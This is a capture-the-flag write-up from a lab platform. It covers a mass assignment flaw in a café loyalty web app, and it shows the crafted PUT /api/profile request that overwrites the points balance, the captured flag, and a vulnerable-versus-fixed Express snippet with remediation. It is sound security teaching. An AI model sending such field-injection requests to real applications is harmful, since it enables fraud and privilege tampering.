BugForge — 2026.03.15

Cafe Club: Mass Assignment on Loyalty Points

BugForge Mass Assignment easy

Overview

  • Platform: BugForge
  • Vulnerability: Mass Assignment
  • Key Technique: Injecting unvalidated fields into profile update JSON body to overwrite server-side loyalty points balance
  • Result: Arbitrary points balance manipulation; flag captured

Objective

Find and exploit a vulnerability in the Cafe Club coffee shop loyalty program web application.

Initial Access

# Target Application
URL: https://lab-1773600707428-y7pmye.labs-app.bugforge.io

# Auth details
Registered account via POST /api/register
User: id=5, username=haxor, role=user
Auth: JWT HS256 in Authorization Bearer header

Key Findings

  1. Mass Assignment on Profile Update Endpoint (CWE-915) The PUT /api/profile endpoint blindly applies all JSON fields from the request body to the user record. Intended fields are full_name, email, address, and phone, but the server accepts and persists any additional field — including points. An attacker can set their loyalty points to an arbitrary value with a single request.

Attack Chain Visualization

┌──────────────┐    ┌──────────────────┐    ┌─────────────────────┐
│  Register    │───▶│  Map API Surface │───▶│  Identify Profile   │
│  Account     │    │  (Caido)         │    │  Update Endpoint    │
└──────────────┘    └──────────────────┘    └─────────┬───────────┘
                                                      │
                                                      ▼
                                           ┌─────────────────────┐
                                           │  PUT /api/profile   │
                                           │  Add "points":99999 │
                                           │  to JSON body       │
                                           └─────────┬───────────┘
                                                      │
                                                      ▼
                                           ┌─────────────────────┐
                                           │  Server applies all │
                                           │  fields — points    │
                                           │  overwritten ✓      │
                                           │  Flag returned      │
                                           └─────────────────────┘

Application Architecture

Component Path Description
Auth POST /api/register, GET /api/verify-token JWT HS256 registration and validation
Products GET /api/products, POST /api/products/:id/reviews Catalog and reviews
Cart/Checkout GET/POST /api/cart, POST /api/checkout Shopping flow; checkout earns points
Profile GET/PUT /api/profile, PUT /api/profile/password User profile management (vulnerable)
Gift Cards GET /api/giftcards, POST /api/giftcards/purchase, POST /api/giftcards/redeem Gift card purchase and redemption
Orders GET /api/orders, GET /api/orders/:id Order history
Favorites POST /api/favorites/:id Product favorites

Exploitation Path

Step 1: Reconnaissance — API Surface Mapping

Registered an account and explored the application through Caido, capturing all HTTP requests. Identified 13 API endpoints across authentication, products, cart/checkout, profile, gift cards, and orders.

Key observations:

  • Backend is Express (Node.js) per X-Powered-By header
  • Auth uses JWT HS256 with payload {"id":5,"username":"haxor","iat":...}
  • Points system: checkout earns points (≈ floor of total), points apply as ~$1 discount each
  • Gift cards: purchase with credit card → receive code → redeem code to add balance

Step 2: Testing Business Logic Abuse Vectors

Tested several negative-value attacks against the points/money flow:

POST /api/checkout
{"points_to_use": -1000}
→ 400: "Points to use cannot be negative"

POST /api/cart
{"product_id": 1, "quantity": -5}
→ 400: "Valid product ID and quantity are required"

POST /api/giftcards/purchase
{"amount": -100}
→ 400: "Invalid gift card amount"

All negative-value vectors were properly validated server-side. Dead ends.

Step 3: Mass Assignment on Profile Update

Examined the profile update endpoint. The normal request body contains full_name, email, address, and phone. Tested whether additional fields would be accepted:

PUT /api/profile HTTP/1.1
Host: lab-1773600707428-y7pmye.labs-app.bugforge.io
Authorization: Bearer <jwt>
Content-Type: application/json

{"full_name":"","email":"test@test.com","address":"test","phone":"test","points":99999}

Step 4: Flag Captured

The server processed all fields without whitelisting, directly updating the user record:

{"message":"Profile updated successfully bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}"}

Points balance was overwritten to 99999. The flag was returned inline in the success message.


Flag / Objective Achieved

bug{pyE88sSYdWCujFizpld1ES18ft3CkGO8}

Key Learnings

  • Mass assignment is a common flaw in REST APIs that accept JSON bodies and map them directly to database models without field whitelisting. Always check whether non-intended fields are accepted.
  • Business logic validation doesn’t prevent all abuse — the app correctly blocked negative values on checkout, cart, and gift cards, but missed the simpler vector of directly overwriting the points field.
  • Profile update endpoints are high-value targets — they’re designed to accept user-controlled input and write it to the database, making them a natural place for mass assignment.
  • Node.js/Express APIs using ORMs like Sequelize or Mongoose are especially susceptible when using generic update methods (Model.update(req.body)) without specifying allowed fields.

Failed Approaches

| Approach | Result | Why It Failed | |———-|——–|—————| | Negative points_to_use at checkout | 400 error | Server validates that points cannot be negative | | Negative cart quantity | 400 error | Server validates that quantity must be positive | | Negative gift card purchase amount | 400 error | Server validates gift card amount |


Tools Used

| Tool | Purpose | |——|———| | Caido | HTTP proxy for request interception, API mapping, and replay | | Browser DevTools | Initial application exploration |


Remediation

1. Mass Assignment — Profile Update (CVSS: 9.1 - Critical)

Issue: PUT /api/profile applies all request body fields to the user record without whitelisting, allowing attackers to modify sensitive fields like points and potentially role.

CWE Reference: CWE-915 — Improperly Controlled Modification of Dynamically-Determined Object Attributes

Fix:

// BEFORE (Vulnerable)
app.put('/api/profile', auth, async (req, res) => {
  await User.update(req.body, { where: { id: req.user.id } });
  res.json({ message: 'Profile updated successfully' });
});

// AFTER (Secure)
app.put('/api/profile', auth, async (req, res) => {
  const { full_name, email, address, phone } = req.body;
  await User.update(
    { full_name, email, address, phone },
    { where: { id: req.user.id } }
  );
  res.json({ message: 'Profile updated successfully' });
});

Additional defense-in-depth measures:

  • Use ORM-level field protection (e.g., Sequelize fields option, Mongoose select)
  • Mark sensitive fields as non-mass-assignable at the model level
  • Add integration tests that verify extra fields in profile updates are ignored

OWASP Top 10 Coverage

  • A01:2021 — Broken Access Control: Mass assignment allows users to modify fields they should not have access to (points balance, potentially role)
  • A04:2021 — Insecure Design: The API lacks field whitelisting as a design-level control, trusting client input for database updates
  • A08:2021 — Software and Data Integrity Failures: User-supplied data is applied to the data model without integrity validation

References


Tags: #mass-assignment #api-security #nodejs #express #business-logic #bugforge Document Version: 1.0 Last Updated: 2026-03-15

#mass-assignment #profile-update #loyalty-points